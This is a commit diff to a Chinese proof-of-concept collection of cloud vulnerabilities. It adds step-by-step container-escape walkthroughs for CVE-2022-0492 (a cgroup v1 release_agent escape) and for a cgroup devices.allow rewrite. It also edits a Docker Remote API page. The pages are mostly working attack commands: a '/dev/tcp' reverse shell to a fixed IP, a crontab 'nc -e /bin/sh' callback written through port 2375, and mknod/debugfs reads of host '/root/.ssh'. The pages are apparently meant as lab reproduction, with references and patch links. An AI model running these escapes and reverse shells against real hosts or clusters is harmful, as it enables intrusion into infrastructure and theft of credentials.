update cgroup vulnerabilities
@ -740,6 +740,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* Kubernetes 部署 Shadow API Server
|
||||
* Kubernetes 部署后门 CronJob
|
||||
* Kubernetes 部署后门 Daemonset
|
||||
* Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492
|
||||
* MinIO SSRF 漏洞 CVE-2021-21287
|
||||
* Nacos secret.key 默认密钥 未授权访问漏洞
|
||||
* Nacos 未授权接口命令执行漏洞 CVE-2021-29442
|
||||
@ -753,6 +754,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* 挂载 docker.sock 导致容器逃逸
|
||||
* 挂载 log 目录导致容器逃逸
|
||||
* 挂载宿主机 procfs 系统导致容器逃逸
|
||||
* 挂载重写 cgroup devices.allow 导致容器逃逸
|
||||
- 人工智能漏洞
|
||||
|
||||
* browser-use WebUI pickle 反序列化漏洞
|
||||
|
||||
@ -4,22 +4,18 @@
|
||||
|
||||
Docker 是一个开源的应用容器引擎,让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中,然后发布到 Linux 机器上,也可以实现虚拟化。Docker swarm 是 Docker 的集群管理工具,提供了标准的 Docker API。
|
||||
|
||||
在使用 Docker swarm 的时候,管理的 Docker节点上会开放一个 TCP 端口 2375,绑定在 0.0.0.0 上,直接 HTTP 访问会返回 “404 Not Found”。可以通过该 API 执行 Docker 命令,例如创建/删除 container、拉取 image、执行反弹 shell。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [http://www.loner.fm/drops/#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8](http://www.loner.fm/drops/#!/drops/1203.新姿势之Docker Remote API未授权访问漏洞分析和利用)
|
||||
在使用 Docker swarm 的时候,管理的 Docker 节点上会开放一个 TCP 端口 2375,绑定在 0.0.0.0 上,直接 HTTP 访问会返回 “404 Not Found”。可以通过该 API 执行 Docker 命令,例如创建/删除 container、拉取 image、执行反弹 shell。
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub编译及启动漏洞环境:
|
||||
Vulhub 编译及启动漏洞环境:
|
||||
|
||||
```
|
||||
docker-compose build
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
环境启动后,将监听2375端口。
|
||||
环境启动后,将监听 2375 端口。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
@ -69,7 +65,7 @@ ssh-keygen -t rsa
|
||||
|
||||
#### 反弹 shell
|
||||
|
||||
随意启动一个容器,并将宿主机的`/etc`目录挂载到容器中,便可以任意读写文件了。可以将命令写入crontab配置文件,进行反弹shell。
|
||||
随意启动一个容器,并将宿主机的 `/etc` 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹 shell。
|
||||
|
||||
```
|
||||
import docker
|
||||
@ -78,13 +74,13 @@ client = docker.DockerClient(base_url='http://[docker ip]:2375/')
|
||||
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc [your ip] 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
|
||||
```
|
||||
|
||||
监听2333端口,接收反弹shell。
|
||||
监听 2333 端口,接收反弹 shell。
|
||||
|
||||
此处的反弹shell需要和/etc/crontabs/root文件同时写入,不能后续追加。
|
||||
此处的反弹 shell 需要和/etc/crontabs/root 文件同时写入,不能后续追加。
|
||||
|
||||

|
||||
|
||||
## 漏洞EXP
|
||||
## 漏洞 EXP
|
||||
|
||||
```python
|
||||
from __future__ import print_function
|
||||
|
||||
160
云安全漏洞/Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492.md
Normal file
@ -0,0 +1,160 @@
|
||||
# Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
该漏洞是由于 control groups(cgroups)中的一个逻辑错误所致。Control Groups(cgroups)是一个 Linux 特性,允许管理员限制、记录和隔离一组进程所使用的资源。Linux 支持两种 cgroup 架构,分别名为 cgroup v1 和 cgroup v2,该漏洞只影响 cgroup v1 架构。
|
||||
|
||||
如果容器运行了以下操作,则可逃逸:
|
||||
|
||||
- 以 root 用户身份运行,或没有为容器进程设置 [no_new_privs](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/) 标志;
|
||||
- 没有启用 AppArmor 或 [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux#:~:text=Security%2DEnhanced%20Linux%20\(SELinux\),Linux%20Security%20Modules%20\(LSM\).) 进行保护;
|
||||
- 没有启用 [Seccomp](https://docs.docker.com/engine/security/seccomp/) 进行保护;
|
||||
- 在启用了非特权用户命名空间的主机上运行;
|
||||
- 隶属于 root v1 cgroup。
|
||||
|
||||
或满足下列条件,则可逃逸:
|
||||
|
||||
- 具有 CAP_SYS_ADMIN 权限;
|
||||
- 没有启用 AppArmor 或 SELinux 进行保护;
|
||||
- 没有创建 cgroup 命名空间;
|
||||
- 隶属于 root v1 cgroup。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0492
|
||||
- https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
|
||||
- http://terenceli.github.io/技术/2022/03/06/cve-2022-0492
|
||||
- https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
|
||||
- https://github.com/Metarget/metarget
|
||||
|
||||
## 环境搭建
|
||||
|
||||
基础环境准备(Docker + Minikube + Kubernetes),可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
|
||||
|
||||
本例中各组件版本如下:
|
||||
|
||||
```
|
||||
Docker version: 19.03.6
|
||||
```
|
||||
|
||||
Linux 内核版本 `5.4.0-84-generic`:
|
||||
|
||||
```
|
||||
uname -a
|
||||
Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
创建禁用了 AppArmor 和 Seccomp 的容器:
|
||||
|
||||
```
|
||||
docker run -it --name cve-2022-0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:latest /bin/bash
|
||||
```
|
||||
|
||||
AppArmor 和 SELinux 都会阻止挂载,这意味着使用其中任何一种方式运行的容器都受到保护 。如果两者皆禁用,容器可以通过滥用用户命名空间来挂载 cgroupfs。
|
||||
|
||||
挂载 cgroupfs 需要在托管当前 cgroup 命名空间的用户命名空间中拥有 `CAP_SYS_ADMIN` 权限。默认情况下,容器运行时没有 `CAP_SYS_ADMIM` 权限 ,因此无法在初始用户命名空间中挂载 cgroupfs。但是,通过 `unshare()` 系统调用,容器可以创建新的用户和 cgroup 命名空间,并在这些命名空间中拥有 `CAP_SYS_ADMIN` 权限并可以挂载 cgroupfs:
|
||||
|
||||
- 第一步,创建一个新的用户和 cgroup 命名空间,它将具有 `CAP_SYS_ADMIN` 权限:
|
||||
|
||||
```
|
||||
root@0c782b51c5ac:/# unshare -UrmC bash
|
||||
```
|
||||
|
||||
>并非所有容器都能创建新的用户命名空间—— 宿主机必须启用非特权用户命名空间 。在最近的 Ubuntu 版本中,这是默认设置。由于 Seccomp 会阻止 `unshare()` 系统调用, 因此只有在未启用 Seccomp 的情况下运行的容器才能创建新的用户命名空间 。
|
||||
|
||||
- 第二步,容器在新的用户和 cgroup 命名空间中挂载 root RDMA cgroup:
|
||||
|
||||
```
|
||||
root@0c782b51c5ac:/# mount -it cgroup -o rdma cgroup /mnt
|
||||
```
|
||||
|
||||
- 第三步,在 cgroup 中创建一个名为 `w` 的子组,开启 release agent,设置 `notify_on_release=1`:
|
||||
|
||||
```
|
||||
root@0c782b51c5ac:/# d=`dirname $(ls -x /mnt/r* |head -n1)`
|
||||
root@0c782b51c5ac:/# mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
```
|
||||
|
||||
- 第四步,从 `/etc/mtab` 中提取 cgroup 临时路径,将 `exp.sh` 路径写入 `/mnt/release_agent`:
|
||||
|
||||
```
|
||||
root@0c782b51c5ac:/# t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
root@0c782b51c5ac:/# printf '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.43.149/9999 0>&1' > /exp.sh; chmod 777 /exp.sh
|
||||
root@0c782b51c5ac:/# echo "$t/exp.sh" > $d/release_agent
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
- 第五步,e创建一个马上终止的进程,当 `w` 子组的最后一个进程退出时,将激活 `/mnt/release_agent`:
|
||||
|
||||
```
|
||||
root@0c782b51c5ac:/# sh -c "echo 0 >$d/w/cgroup.procs"
|
||||
```
|
||||
|
||||

|
||||
|
||||
监听 9999 端口,获取反弹 shell:
|
||||
|
||||

|
||||
|
||||
也可以通过 [CDK](https://github.com/cdk-team/CDK) 复现。下载 CDK ,并将其传入容器 `/tmp` 目录下,执行命令:
|
||||
|
||||
```
|
||||
./cdk run mount-cgroup "whoami" rdma
|
||||
```
|
||||
|
||||

|
||||
|
||||
> 注意,cdk 默认为 memory cgroup,权限不足,需要指定为 rdma。
|
||||
|
||||

|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
[can-ctr-escape-cve-2022-0492.sh](https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492/blob/main/can-ctr-escape-cve-2022-0492.sh)
|
||||
|
||||
```shell
|
||||
#!/bin/bash
|
||||
echo "[*] Testing whether CVE-2022-0492 can be exploited for container escape"
|
||||
|
||||
# Setup test dir
|
||||
test_dir=/tmp/.cve-2022-0492-test
|
||||
if ! mkdir -p $test_dir ; then
|
||||
echo "ERROR: failed to create test directory at $test_dir"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Test whether escape via CAP_SYS_ADMIN is possible
|
||||
if mount -t cgroup -o memory cgroup $test_dir >/dev/null 2>&1 ; then
|
||||
if test -w $test_dir/release_agent ; then
|
||||
echo "[!] Exploitable: the container can escape as it possesses CAP_SYS_ADMIN and runs without AppArmor or SELinux. Note that it likely doesn't need CVE-2022-0492 to escape."
|
||||
umount $test_dir && rm -rf $test_dir
|
||||
exit 0
|
||||
fi
|
||||
umount $test_dir
|
||||
fi
|
||||
|
||||
# Test whether escape via user namespaces is possible
|
||||
while read -r subsys
|
||||
do
|
||||
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $test_dir 2>&1 >/dev/null && test -w $test_dir/release_agent" >/dev/null 2>&1 ; then
|
||||
echo "[!] Exploitable: the container can abuse user namespaces to escape"
|
||||
rm -rf $test_dir
|
||||
exit 0
|
||||
fi
|
||||
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
|
||||
|
||||
# Cannot escape via either method
|
||||
rm -rf $test_dir
|
||||
echo "[+] Contained: cannot escape via CVE-2022-0492"
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
- 升级补丁 https://access.redhat.com/security/cve/cve-2022-0492
|
||||
|
After Width: | Height: | Size: 61 KiB |
|
After Width: | Height: | Size: 44 KiB |
|
After Width: | Height: | Size: 176 KiB |
|
After Width: | Height: | Size: 102 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 171 KiB |
|
After Width: | Height: | Size: 302 KiB |
|
After Width: | Height: | Size: 50 KiB |
|
After Width: | Height: | Size: 63 KiB |
|
After Width: | Height: | Size: 258 KiB |
|
After Width: | Height: | Size: 364 KiB |
172
云安全漏洞/挂载重写 cgroup devices.allow 导致容器逃逸.md
Normal file
@ -0,0 +1,172 @@
|
||||
# 挂载重写 cgroup devices.allow 导致容器逃逸
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
在具有 `CAP_SYS_ADMIN` 权限的容器中,通过挂载并重写容器内的 `/sys/fs/cgroup/devices/devices.allow` 文件,解除 cgroup 设备访问限制,从而逃逸特权容器并访问宿主机内的文件。
|
||||
|
||||
devices 子系统用于配制允许或者阻止 cgroup 中的 task 访问某个设备,起到黑白名单的作用,主要包含以下文件:
|
||||
|
||||
1. devices.allow:cgroup 中的 task 能够访问的设备列表,格式为 `type major:minor access`
|
||||
2. devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
|
||||
3. devices.list:列出 cgroup 中设备的黑名单和白名单
|
||||
|
||||
漏洞利用原理:
|
||||
|
||||
1. 创建空目录挂载 cgroup devices 子系统
|
||||
2. 确定当前容器对应的子 cgroup 位置
|
||||
3. 设置其 devices.allow 文件为 `a`,表示所有设备均可访问
|
||||
4. 获得宿主机的设备 major 和 minor
|
||||
5. 通过 mknod 根据设备 major 和 minor 手动创建设备文件
|
||||
6. 利用 debugfs 或直接挂载设备文件访问宿主机文件
|
||||
7. 设置宿主机定时任务等方式反弹 shell
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices
|
||||
- https://blog.nsfocus.net/docker/
|
||||
|
||||
## 环境搭建
|
||||
|
||||
基础环境准备(Docker + Minikube + Kubernetes),可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
|
||||
|
||||
本例中各组件版本如下:
|
||||
|
||||
```
|
||||
Docker version: 18.09.3
|
||||
minikube version: v1.35.0
|
||||
Kubectl Client Version: v1.32.3
|
||||
Kubectl Server Version: v1.32.0
|
||||
```
|
||||
|
||||
通过 yaml 文件创建漏洞环境:
|
||||
|
||||
```
|
||||
kubectl apply -f k8s_metarget_namespace.yaml
|
||||
kubectl apply -f cap_sys_admin-container.yaml
|
||||
```
|
||||
|
||||
执行完成后,K8s 集群内 `metarget` 命名空间下将会创建一个名为 `cap-sys-admin-container` 的 pod:
|
||||
|
||||
```
|
||||
kubectl get pods -n metarget
|
||||
-----
|
||||
NAME READY STATUS RESTARTS AGE
|
||||
cap-sys-admin-container 1/1 Running 0 55s
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
进入 pod 进行漏洞利用:
|
||||
|
||||
```
|
||||
kubectl exec -n metarget -it cap-sys-admin-container -- /bin/bash
|
||||
```
|
||||
|
||||
- 第一步,创建空目录挂载 cgroup devices 子系统:
|
||||
|
||||
```
|
||||
root@cap-sys-admin-container:/# mkdir /tmp/dev && mount -t cgroup -o devices devices /tmp/dev
|
||||
```
|
||||
|
||||
- 第二步,确定当前容器对应的子 cgroup 位置:
|
||||
|
||||
```shell
|
||||
# 通过 docker info | grep -i cgroup 查看 Cgroup Driver
|
||||
# Cgroup Driver: cgroupfs 驱动则执行:
|
||||
root@cap-sys-admin-container:/# cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
|
||||
f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/pod0b4bfb60-28b0-42bf-8ec4-6907aa6fe271/8233389d820eb154868c9d14dfe6c902202003b24e53a77811ecf9c8daf0776a
|
||||
root@cap-sys-admin-container:/# cd /tmp/dev/docker/f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/pod0b4bfb60-28b0-42bf-8ec4-6907aa6fe271/8233389d820eb154868c9d14dfe6c902202003b24e53a77811ecf9c8daf0776a
|
||||
|
||||
# Cgroup Driver: systemd 驱动则执行:
|
||||
mount -l | grep kubepods
|
||||
-----
|
||||
cgroup on /sys/fs/cgroup/systemd/kubepods.slice/kubepods-burstable.slice/xxx type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd)
|
||||
-----
|
||||
cd /tmp/dev/kubepods.slice/kubepods-burstable.slice/xxx
|
||||
```
|
||||
|
||||
- 第三步,设置其 devices.allow 文件为 `a`,表示所有设备均可访问:
|
||||
|
||||
```
|
||||
root@cap-sys-admin-container:/tmp/dev/docker/f873f626e2cbc74eeae5c2b5c624f7fe1ed92e26b37a244d30d70403a1802ee8/kubepods/besteffort/podeda81e29-d18b-
|
||||
45e5-af93-1ba96c6f02e1/979a724c1ad544b8bbd8bbb8ec6ce2ca1f61ffe3ddd9088c8242d7238a7a647b# echo a > devices.allow && cd /tmp
|
||||
```
|
||||
|
||||
- 第四步,获得宿主机的设备 major 和 minor:
|
||||
|
||||
```
|
||||
root@cap-sys-admin-container:/tmp# cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
|
||||
8:1 ext4
|
||||
```
|
||||
|
||||
- 第五步,通过 mknod 根据设备 major 和 minor 手动创建设备文件:
|
||||
|
||||
```
|
||||
root@cap-sys-admin-container:/tmp# mknod host b 8 1
|
||||
```
|
||||
|
||||
- 第六步,利用 debugfs 或直接挂载设备文件访问宿主机文件:
|
||||
|
||||
```
|
||||
root@cap-sys-admin-container:/tmp# debugfs host
|
||||
debugfs: ls -l /root/.ssh
|
||||
6291704 40755 (2) 0 0 4096 21-Apr-2025 09:59 .
|
||||
6291457 40700 (2) 0 0 4096 3-Jun-2025 06:26 ..
|
||||
6291718 100644 (1) 0 0 553 21-Apr-2025 09:59 authorized_keys
|
||||
```
|
||||
|
||||
```shell
|
||||
# 如果是 ext2/ext3/ext4 文件系统,可以用 debugfs 查看目录
|
||||
# 如果是 xfs 文件系统,不支持 debugfs,需要挂载
|
||||
root@cap-sys-admin-container:/tmp# mkdir /tmp/host_dir && mount host /tmp/host_dir
|
||||
root@cap-sys-admin-container:/tmp# ls -l /tmp/host_dir/root/.ssh
|
||||
```
|
||||
|
||||

|
||||
|
||||
也可以通过 [CDK](https://github.com/cdk-team/CDK) 复现。下载 CDK ,将其传入容器 :
|
||||
|
||||
```
|
||||
kubectl cp cdk cap-sys-admin-container:/ -n metarget
|
||||
kubectl exec -n metarget -it cap-sys-admin-container -- chmod +x /cdk
|
||||
```
|
||||
|
||||

|
||||
|
||||
重写当前容器内的 `/sys/fs/cgroup/devices/devices.allow`,逃逸特权容器访问宿主机内的文件:
|
||||
|
||||

|
||||
|
||||
## 环境复原
|
||||
|
||||
```
|
||||
kubectl delete -f cap_sys_admin-container.yaml
|
||||
kubectl delete -f k8s_metarget_namespace.yaml
|
||||
```
|
||||
|
||||
## YAML
|
||||
|
||||
[cap_sys_admin-container.yaml](https://github.com/Metarget/metarget/blob/master/vulns_cn/configs/pods/cap_sys_admin-container.yaml)
|
||||
|
||||
```
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: cap-sys-admin-container
|
||||
namespace: metarget
|
||||
annotations:
|
||||
container.apparmor.security.beta.kubernetes.io/ubuntu: unconfined
|
||||
spec:
|
||||
containers:
|
||||
- name: ubuntu
|
||||
image: ubuntu:latest
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["SYS_ADMIN"]
|
||||
# Just spin & wait forever
|
||||
command: [ "/bin/bash", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
```
|
||||